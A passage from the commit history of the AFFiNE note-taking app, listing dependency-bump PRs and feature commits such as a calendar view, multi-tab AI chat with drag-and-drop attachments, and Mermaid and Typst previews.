[0.16.1](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.0...v0.16.1)
(2022-08-28)

##### Bug Fixes

- Use SVGs for some stacked delims
([#&#8203;3686](https://redirect.github.com/KaTeX/KaTeX/issues/3686))
([8a65a2e](https://redirect.github.com/KaTeX/KaTeX/commit/8a65a2e1fd69ffeee2fac62229f9f05ebf6afd45))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 10:05:33 +08:00
DarkSky d897bb3d84 chore: bump deps (#15624) 2026-09-20 13:01:49 +08:00
DarkSky 51fdf602ba feat(core): adapt new lifecycle (#15575)
fix #15574


#### PR Dependency Tree


* **PR #15575** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## New Features
* Added source-aware blob handling for current documents and page
history.
* Added document lifecycle support for trashing, restoring, and
permanently deleting documents.
* Copilot attachments now upload directly to session attachment
endpoints.

## Bug Fixes
* Document actions now complete before confirmations, notifications, and
navigation proceed.
* Improved cancellation, upload fallback, size-limit handling, and cloud
synchronization reliability.
* Invite-link expiration now remains reliable for long durations.
* Improved synchronization for document permissions and reserved
documents.

## Changes
* Blob management now displays attachment icons instead of image
previews.
* Cloud synchronization now uses a unified batch protocol.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-09 23:00:06 +08:00
renovate[bot] e8fefc82c1 chore: bump up @atlaskit/pragmatic-drag-and-drop version to v2 (#15394)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@atlaskit/pragmatic-drag-and-drop](https://atlassian.design/components/pragmatic-drag-and-drop/)
([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop))
| [`^1.7.7` →
`^2.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop/2.0.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1?slim=true)
|

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 19:06:55 +08:00
DarkSky 11db127772 chore: bump deps (#15151) 2026-06-24 23:55:19 +08:00
DarkSky d500e472f0 chore: bump deps (#15124) 2026-06-18 12:55:18 +08:00
DarkSky aca47445aa feat(client): migration old package to rspack (#15068)
#### PR Dependency Tree


* **PR #15068** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Upgraded Vitest across packages to 4.1.8 and bumped Tailwind PostCSS
to 4.3.0
* CLI/tooling updated to support the media-capture-playground package
and adjust build/dev server behavior

* **Bug Fixes**
  * Improved workspace deletion reliability in the Electron app

* **Refactor**
* Simplified media capture playground build setup (build/config
adjustments)

* **Tests**
* Made tests more robust by preserving/restoring environment state
during runs
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-02 12:00:50 +08:00
DarkSky 7123595831 chore: bump deps (#15059)
#### PR Dependency Tree


* **PR #15059** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Configurable minimum account age before new accounts can invite
members or create share links (default: 24 hours).
* Sign-in now returns and caches user info for improved session
handling.

* **Bug Fixes**
  * Queue handling accepts and resolves job IDs with special characters.
* Improved clipboard/rich-text caret handling and nested-list paste
reliability.
  * Calendar tests use dynamic current-month dates.
  * AI search returns explicit "No matching documents" when none found.
  * Auth session responses are explicitly non-cacheable.

* **Chores**
* Dependency and toolchain bumps; admin UI config/schema exposes the new
account-age setting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-01 20:13:59 +08:00
DarkSky 6d1172ba44 chore: bump deps 2026-05-24 07:13:16 +08:00
DarkSky 0f5778ac89 feat(editor): calendar view for database block (#14984)
fix #13663


#### PR Dependency Tree


* **PR #14984** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Calendar view for database blocks (month layout, entry cards,
external-source support)
  * Workspace calendar integration and new slash-menu "Calendar View"

* **Improvements**
* Create/manage database rows from calendar UI; preserve durations when
moving/resizing ranges
* Drag-and-drop, drop-preview, and hit-testing support for calendar and
docs
  * Redesigned in-menu View settings with multi-page navigation
  * Context-menu input autofocus toggle and conditional back-navigation

* **Tests**
* New unit and E2E suites covering calendar layout, interactions,
sources, and slash-menu integration
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-17 20:40:36 +08:00
Adarsh SinghandDarkSky 440ff0c342 fix(editor): resolve UX inconsistencies in the AI chat interface (#14850)
# Closes #14189.

Fixes the three UX issues reported in the original bug report, plus one
small
adjacent polish on the right-sidebar toggle that was requested during
review.

Each concern in the issue is addressed end-to-end, with the same
treatment
applied to both places the AI chat panel lives: the **sidebar chat
panel**
(right panel on a doc page) and the **standalone `/chat` page**.

---

## 1. `+` button → persistent multi-session tabs (issue point 1)

**Before:** clicking `+` called `createFreshSession()` (standalone) or
`newSession()` (sidebar), both of which tore down the current chat
content
and replaced it in place. There was no way to keep two chats open at
once.

**After:** a browser/IDE-style tab strip lives above the chat content.
Each
open session gets its own tab with a close `×`; the active tab is
highlighted; `+` now adds a tab rather than replacing the chat.

### Details
- New Lit component `ai-chat-tabs`
([packages/frontend/core/src/blocksuite/ai/components/ai-chat-toolbar/ai-chat-tabs.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-toolbar/ai-chat-tabs.ts)).
- Tab title is derived from `session.title` → first user message → `"New
chat"`.
- Horizontal scroll when tabs overflow, with a `wheel` handler that
converts
    mouse wheel / trackpad vertical swipe into horizontal scroll (native
horizontal trackpad swipes also work natively via `overflow-x: auto`).
- Auto `scrollIntoView({ inline: 'nearest' })` on active tab change, so
a
newly created or newly selected tab slides into view instead of staying
    hidden behind the toolbar.
- Close `×` removes the tab from the strip but leaves the session on the
server (matches the existing **Chat history** dropdown semantics — the
session is still reachable there). Closing the active tab switches to an
    adjacent one; closing the last tab starts a fresh session.
- Persistence: open session IDs are saved per-workspace in
`localStorage`
under `ai-chat-open-tabs:{workspaceId}`. On mount, the React pages
hydrate
  those IDs via `AIProvider.session.getSession` /
  `CopilotClient.getSession` — no new backend or schema work.
- Wiring: identical effects on both variants
([chat.tsx
(sidebar)](packages/frontend/core/src/desktop/pages/workspace/detail-page/tabs/chat.tsx)
and
[chat/index.tsx
(standalone)](packages/frontend/core/src/desktop/pages/workspace/chat/index.tsx))
  — hydrate → sync active session into tabs → persist.
- The tab strip sits on the same row as the existing toolbar icons
  (pin / history / `+`), separated by `flex: 1` + `min-width: 0` so the
  tabs scroll cleanly up to the toolbar boundary.
- The `ShadowlessElement` base class injects its static CSS globally,
and the
`:host` selector does not match in a React-rooted DOM — the component
uses
  tag-selector CSS (`ai-chat-tabs { display: flex; … }`) instead.

## 2. Drag-and-drop attachments (issue point 2)

**Before:** the chat input accepted no DnD. Attaching anything required
the
`+` → file-picker flow.

**After:** the chat input accepts OS files via native HTML5 DnD and
AFFiNE
documents via the repo's existing pragmatic-drag-and-drop
infrastructure.

### Details
- Native handlers (`dragenter/over/leave/drop`) on

[ai-chat-input.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-input/ai-chat-input.ts)
accept OS files: images go into the image preview grid, other files
become
  attachment chips, with the same 50 MB per-file cap as the `+` picker.
- Internal AFFiNE document drags from the nav panel land as doc chips,
  handled via `dropTargetForElements` from
  `@atlaskit/pragmatic-drag-and-drop` (same library the rest of the app
  already uses for internal DnD).
- A "Drop to attach" overlay appears during drag, reusing the existing
focused-border token (`--affine-v2-layer-insideBorder-primaryBorder`)
for
  visual consistency with the focused state.
- The image/file routing logic that previously lived inline in
  `add-popover.ts` was factored into a shared helper

[attachment-utils.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-chips/attachment-utils.ts)
  (`addFilesToChat`), so the `+` picker and the drop handler stay in
  lockstep.
- Analytics: extended the `addEmbeddingDoc.control` union in
[events.ts](packages/frontend/track/src/events.ts) with `'dragDrop'` so
  drag-originated attachments are distinguishable from button-initiated
  ones in telemetry.
- `@atlaskit/pragmatic-drag-and-drop` is promoted from a transitive
  dependency (via `@affine/component`) to a direct dependency of
  `@affine/core` and `yarn.lock` is refreshed accordingly.

## 3. Chat-history tooltip + icon (issue point 3)

**Before:** hovering the chat-history button showed a tooltip whose
background did not invert for dark theme (`--affine-tooltip` is not
theme-aware), and the icon was `ArrowDownSmallIcon` — a chevron that
does
not convey "history."

**After:** the tooltip primitive itself is theme-aware (every tooltip in
the app benefits, not just the chat one), and the icon is the
semantically-clear `HistoryIcon`.

### Details
- [tooltip.ts](blocksuite/affine/components/src/tooltip/tooltip.ts) now
uses
  `var(--affine-v2-tooltips-background, var(--affine-tooltip))` and
  `var(--affine-v2-tooltips-foreground, var(--affine-white))`. The V2
  tokens auto-invert with theme; the old vars remain as fallbacks so
  components that override via the existing `tooltipStyle` escape hatch
  continue to work.
- Triangle arrow colors updated to use the same V2 token.
-
[ai-chat-toolbar.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-toolbar/ai-chat-toolbar.ts):
  `ArrowDownSmallIcon` → `HistoryIcon`; added
  `data-testid="ai-panel-chat-history"` for future e2e coverage.

## 4. Right-sidebar toggle: tooltips + open-state icon *(adjacent
polish)*

Not part of the original issue, but surfaced while testing the tab strip
—
neither of the two right-sidebar toggle buttons had hover affordance,
and
both used the same icon regardless of the sidebar's state.

- Added `tooltip="Open sidebar"` on the route-container button shown
when
  the sidebar is hidden.
- Added `tooltip="Close sidebar"` on the sidebar-header button shown
when
  the sidebar is expanded.
- The close button now renders a small inline `RightSidebarOpenIcon`
  variant: same outline as `RightSidebarIcon`, but with the right panel
  filled in the AFFiNE accent color to convey the open state. Icon shape
  change is self-contained — no new icon asset added to
  `@blocksuite/icons`.

---

## Commits

- `2adc0c7` — fix(ai-chat): theme-aware tooltip + semantic chat-history
icon *(2 files)*
- `bf26974` — feat(ai-chat): drag-and-drop file and doc attachments in
chat input *(7 files)*
- `fca29c8` — feat(ai-chat): persistent multi-session tab strip *(8
files)*
- `7d5dffe` — feat(workbench): tooltips and open-state icon for the
right-sidebar toggle *(2 files)*

Kept ordered smallest → largest blast radius so the history is easy to
bisect.

---

## Test plan

Verified locally against a fresh server stack (postgres / redis /
mailpit via
compose, migrations run) signed in as `dev@affine.pro`, in both `/chat`
and
the sidebar chat on a doc page, in light and dark themes:

- [x] Tooltip: hover the chat-history icon in dark mode → tooltip is
dark-on-light; toggle to light mode → tooltip is light-on-dark. Existing
tooltips on other surfaces (slash menu, edgeless, linked-doc) still
render correctly.
- [x] Icon: chat-history button renders the history glyph (clock), not a
chevron.
- [x] Drag-and-drop (OS file): drop a PDF / PNG / TXT onto the input →
overlay shows → chips/images appear; file > 50 MB → rejected silently
(same as `+` picker).
- [x] Drag-and-drop (internal doc): drag an AFFiNE doc from the nav
panel → becomes a doc chip.
- [x] Pin-picker, `+` picker, paste-image — all unchanged.
- [x] Tab strip: first chat auto-becomes a tab on first message; `+`
adds tab; click tab switches chat; `×` removes tab and switches to
adjacent; close last tab → new fresh tab spawns.
- [x] Reload browser → tab strip rehydrates from localStorage with the
same sessions.
- [x] Tab overflow: 12+ tabs → horizontal scroll via trackpad vertical
swipe, trackpad horizontal swipe, and mouse wheel; active tab
auto-scrolls into view on `+` click.
- [x] Right-sidebar: hover both toggle buttons → tooltips appear; open
the sidebar → close button shows the filled right-panel icon.
- [x] `yarn lint:ox` and lint-staged both clean on every commit.

Not verified locally (no local model key configured): the assistant
actually
streams a response. Drop/chip flow is independent of that path.

## Out of scope / follow-ups

- No new unit or Playwright tests — the fixes are visually verifiable
and
  reuse existing reducer / state paths. Happy to add tests if reviewers
  prefer.
- `@affine/native` is not required for the web dev stack; I only built
  `@affine/server-native`. Irrelevant to the PR diff.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Multi-tab chat UI with a tabs component, open/close/switch actions,
and per-workspace persistence/restoration.
  * Drag-and-drop attachments into chat input (files and docs).

* **UI/UX**
  * Tooltip theming moved to v2 variables (includes arrow color).
  * Sidebar toggle/close buttons now show tooltips.
  * “Drop to attach” overlay and updated history icon.

* **Behavior**
  * Unified attachment handling with 50MB validation and toast notices.

* **Analytics**
  * Attachment events record drag-and-drop as a control method.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2026-05-07 04:04:43 +08:00
DarkSky fee0cfa3f4 chore: bump deps (#14785)
#### PR Dependency Tree


* **PR #14785** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
  * Updated error-tracking SDK versions across frontend packages.
* Upgraded Electron build toolchain and front-end build plugins for
improved compatibility.
* Replaced a SWC-based React plugin with the standard React Vite plugin.
  * Removed unused development dependencies from CLI tooling.
  * Bumped a Rust workspace dependency to a patch release.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-04-05 12:25:18 +08:00
DarkSky 233004f867 chore: bump oxlint & enable more supported rules (#14769) 2026-04-03 03:36:52 +08:00
DarkSky 7ac8b14b65 feat(editor): migrate typst mermaid to native (#14499)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Native/WASM Mermaid and Typst SVG preview rendering on desktop and
mobile, plus cross-platform Preview plugin integrations.

* **Improvements**
* Centralized, sanitized rendering bridge with automatic Typst
font-directory handling and configurable native renderer selection.
* More consistent and robust error serialization and worker-backed
preview flows for improved stability and performance.

* **Tests**
* Extensive unit and integration tests for preview rendering, font
discovery, sanitization, and error serialization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-03-20 04:04:40 +08:00
DarkSky f34e25e122 test: migrate test & utils (#14569)
#### PR Dependency Tree


* **PR #14569** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Upgraded development test tooling to Vitest v4 and added Playwright
browser test integration; normalized test configurations and CI shard
matrix.

* **Tests**
* Added a large suite of new integration tests covering editor flows
(edgeless, database, embeds, images, latex, code, clipboard,
multi-editor, presentation, undo/redo, etc.).
* Removed numerous end-to-end Playwright test suites across the same
feature areas.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-03-07 04:12:27 +08:00
DarkSky 2cb171f553 feat: cleanup webpack deps (#14530)
#### PR Dependency Tree


* **PR #14530** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Breaking Changes**
  * Webpack bundler support removed from the build system
* Bundler selection parameter removed from build and development
commands

* **Refactor**
  * Build configuration consolidated to a single bundler approach
* Webpack-specific build paths and workflows removed; development server
simplified

* **Chores**
  * Removed webpack-related dev dependencies and tooling
  * Updated package build scripts for a unified bundle command

* **Dependencies**
* Upgraded Sentry packages across frontend packages
(react/electron/esbuild plugin)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-02-28 00:24:08 +08:00
DarkSky e1e0ac2345 chore: cleanup deps (#14525)
#### PR Dependency Tree


* **PR #14525** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
  * Removed an unused development dependency.
* Updated dotLottie/Lottie-related dependency versions across packages
and replaced a removed player dependency with the new package.

* **Refactor**
* AI animated icons now re-export from a shared component and are loaded
only in the browser, reducing upfront bundle weight and centralizing
icon assets.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-02-27 11:56:54 +08:00
DarkSky c2c7dde06c chore: bump deps (#14506)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
  * Version bumped to 0.26.3 across the project and Helm charts.
  * Removed an unused dependency (minimatch) from multiple packages.
* Updated build/tooling and packaging metadata, including packaging
maker replacement.
  * Adjusted app release metadata and platform packaging config.

* **Tests**
* Updated test snapshots to reflect minor presentational styling
adjustments.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-02-24 09:11:41 +08:00
DarkSky b4be9118ad feat: doc status & share status (#14426)
#### PR Dependency Tree


* **PR #14426** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Admin dashboard: view workspace analytics (storage, sync activity, top
shared links) with charts and configurable windows.
* Document analytics tab: see total/unique/guest views and trends over
selectable time windows.
* Last-accessed members: view who last accessed a document, with
pagination.
* Shared links analytics: browse and paginate all shared links with
view/unique/guest metrics and share URLs.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-02-13 01:01:29 +08:00
DarkSky 8ce620e2e6 chore: bump deps 2026-02-07 17:26:44 +08:00
DarkSky 31f6f209e3 chore: bump deps 2026-02-05 21:45:22 +08:00
DarkSky 403f16b404 chore: drop old client support (#14369) 2026-02-05 02:49:33 +08:00
DarkSky 09cc2dceda feat: cleanup chat panel (#14259)
#### PR Dependency Tree


* **PR #14258**
  * **PR #14259** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Split AI initialization into separate editor, app, and shared
registries; removed legacy chat-panel and replaced it with a
component-based editor chat, updating wiring and public exports.
* Propagated server/subscription/model services into chat/playground
components and improved session lifecycle and UI composition.

* **Tests**
* Added tests for AI effect registration and chat session resolution;
extended DOM/test utilities and assertions.

* **Chores**
  * Added happy-dom for runtime and test environments.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-01-26 04:02:07 +08:00
DarkSky 27a58e764c chore: bump version & deps 2026-01-15 00:33:51 +08:00
DarkSky 279b7bb64f feat(core): integrate google calendar sync (#14248)
fix #14170 
fix #13893 
fix #13673 
fix #13543 
fix #13308 
fix #7607




#### PR Dependency Tree


* **PR #14247**
  * **PR #14248** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Integrations panel in Account Settings to link/unlink calendar
providers.
  * Collapsible settings wrapper for improved layout.

* **Improvements**
* Calendar system reworked: per-account calendar groups, simplified
toggles with explicit Save, richer event display (multi-dot date
indicators), improved event time/title handling across journal views.

* **Localization**
* Added calendar keys: save-error, no-journal, no-calendar; removed
legacy duplicate-error keys.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-01-13 02:38:16 +08:00
Cats JuiceandL-Sun cf98afb32e chore: bump theme@1.1.23 (#14222)
close #13952

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Upgraded the shared theme library from v1.1.16 to v1.1.23 across the
project (core components, UI widgets, content blocks, and frontend
apps), delivering the latest styling and design refinements
platform-wide.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2026-01-06 20:48:44 +08:00
DarkSky 4f1d57ade5 feat: integrate typst preview & fix mermaid style (#14168)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Typst code block preview with interactive rendering controls (zoom,
pan, reset) and user-friendly error messages

* **Style**
  * Centered Mermaid diagram rendering for improved layout

* **Tests**
  * Added end-to-end preview validation tests for Typst and Mermaid

* **Chores**
* Added WebAssembly type declarations and updated frontend packages;
removed a build debug configuration entry

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-28 04:55:22 +08:00
DarkSky cb0ff04efa feat: bump more deps (#14079) 2025-12-10 16:02:28 +08:00
DarkSky 027f741ed6 chore: bump deps (#14065)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Updated dependency versions across the monorepo (notably zod →
^3.25.76 and vitest-related packages → ^3.2.4), plus minor package bumps
to align tooling and libraries. These are manifest/test-tooling updates
only; no public API, behavior, or end-user features were changed.

<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-12-08 21:47:25 +08:00
DarkSky 776ca2c702 chore: bump version 2025-12-08 10:47:37 +08:00
DarkSky 4e082e4170 chore: bump version 2025-11-15 17:29:54 +08:00
DarkSky e4b5b24fdd chore: bump package version 2025-10-29 21:14:34 +08:00
e7f76c1737 chore: update mermaid (#13510)
https://github.com/toeverything/AFFiNE/issues/13509

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
  * Upgraded Mermaid dependency to v11.1.0 in the frontend core package.

* **Impact**
* Improved diagram rendering and compatibility with newer Mermaid
syntax.
* Potential performance and security improvements from upstream updates.
  * No UI changes expected; existing diagrams should continue to work.
  * Please verify critical diagram views for any rendering differences.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 07:40:42 +00:00
Cats Juice ca9811792d feat(component): emoji and icon picker (#13638)
![CleanShot 2025-09-23 at 17 11
13](https://github.com/user-attachments/assets/0a4a9d09-1149-4042-bc73-e068a428f335)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Icon Picker added with Emoji and Icon panels, search/filtering, recent
selections, color selection, skin tone options, and smooth group
navigation.

- **Documentation**
  - Storybook example added to preview and test the Icon Picker.

- **Chores**
  - Bumped icon library dependency to a newer minor version.
  - Added emoji data dependency to support the Emoji Picker.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 07:14:54 +00:00
JachinandL-Sun 678dc15365 feat(editor): add mermaid code preview (#13456)
<img width="971" height="681" alt="iShot_2025-08-10_14 29 01"
src="https://github.com/user-attachments/assets/eff3e6d5-3129-42ac-aceb-994c18f675ab"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Mermaid diagram previews for code blocks with interactive zoom, pan,
and reset controls.
* Improved rendering feedback with loading, error states, retry
behavior, and fallback messaging.

* **Chores**
  * Added Mermaid as a frontend dependency to enable diagram rendering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-08-12 03:00:01 +00:00
德布劳外 · 贾贵 77950cfc1b feat(core): extract md & snapshot & attachments from selected (#13312)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

## Summary by CodeRabbit

* **New Features**
* Enhanced extraction of selected content in the editor to include
document snapshots, markdown summaries, and attachments for both
edgeless and page modes.
* Attachments related to selected content are now available in chat and
input contexts, providing additional metadata.
* Added utility to identify and retrieve selected attachments in editor
content.

* **Bug Fixes**
* Improved consistency in attachment retrieval when extracting selected
content.

* **Chores**
* Updated dependencies and workspace references to include new block
suite components.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

> CLOSE AF-2770
2025-07-31 09:53:09 +00:00
德布劳外 · 贾贵 b53b4884cf refactor(core): align markdown conversion logic (#13254)
## Refactor

Align the Markdown conversion logic across all business modules:
1. frontend/backend apply: doc to markdown
2. insert/import markdown: use `markdownAdapter.toDoc`

> CLOSE AI-328 AI-379 AI-380

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Documentation**
* Clarified instructions and provided an explicit example for correct
list item formatting in the markdown editing tool.

* **Bug Fixes**
* Improved markdown parsing for lists, ensuring correct indentation and
handling of trailing newlines.
* Cleaned up markdown snapshot test files by removing redundant blank
lines for better readability.

* **Refactor**
* Updated markdown conversion logic to use a new parsing approach for
improved reliability and maintainability.
* Enhanced markdown generation method for document snapshots with
improved error handling.
* Refined markdown-to-snapshot conversion with more robust document
handling and snapshot extraction.

* **Chores**
* Added a new workspace dependency for enhanced markdown parsing
capabilities.
* Updated project references and workspace dependencies to include the
new markdown parsing package.

* **Tests**
* Temporarily disabled two markdown-related tests due to parse errors in
test mode.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-07-21 10:35:13 +00:00
Cats Juice c90d511251 feat(core): server version check for selfhost login (#13247)
close AF-2752;

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added a version compatibility check for self-hosted environments
during sign-in, displaying a clear error message and upgrade
instructions if the server version is outdated.
* **Style**
* Updated the appearance of the notification icon in the mobile header
for improved visual consistency.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-07-17 09:21:51 +00:00
EYHN cdff5c3117 feat(core): add context menu for navigation and explorer (#13216)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Introduced a customizable context menu component for desktop
interfaces, enabling right-click menus in various UI elements.
* Added context menu support to document list items and navigation tree
nodes, allowing users to access additional operations via right-click.
* **Improvements**
* Enhanced submenu and menu item components to support both dropdown and
context menu variants based on context.
* Updated click handling in workbench links to prevent unintended
actions on non-left mouse button clicks.
* **Chores**
* Added `@radix-ui/react-context-menu` as a dependency to relevant
frontend packages.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-07-16 04:40:10 +00:00
德布劳外 · 贾贵 6fd9524521 feat: ai apply ui (#12962)
## New Features
* **Block Meta Markdown Adapter**:Inject the Block's metadata into
Markdown.
* **UI**:Apply interaction
   * **Widget**
* Block-Level Widget: Displays the diffs of individual blocks within the
main content and supports accepting/rejecting individual diffs.
* Page-Level Widget: Displays global options (Accept all/Reject all).
   * **Block Diff Service**:Bridge widget and diff data
* Widget subscribes to DiffMap(RenderDiff) data, refreshing the view
when the data changes.
* Widget performs operations such as Accept/Reject via methods provided
by Service.
   * **Doc Edit Tool Card**:
     * Display apply preview of semantic doc edit
     * Support apply & accept/reject to the main content
* **Apply Playground**:A devtool for testing apply new content to
current

> CLOSE AI-274 AI-275 AI-276  AI-278 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Introduced block-level markdown diffing with accept/reject controls
for insertions, deletions, and updates.
* Added block diff widgets for individual blocks and pages, featuring
navigation and bulk accept/reject actions.
* Provided a block diff playground for testing and previewing markdown
changes (development mode only).
* Added a new document editing AI tool component with interactive diff
viewing and change application.
* Supported rendering of the document editing tool within AI chat
content streams.

* **Improvements**
* Enhanced widget rendering in list, paragraph, data view, and database
blocks for improved extensibility.
* Improved widget flavour matching with hierarchical wildcard support
for more flexible UI integration.

* **Chores**
* Updated the "@toeverything/theme" dependency to version ^1.1.16 across
multiple packages.
* Added new workspace dependencies for core frontend packages to improve
module linkage.
* Extended global styles with visual highlights for deleted blocks in AI
block diff feature.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-07-08 03:44:44 +00:00
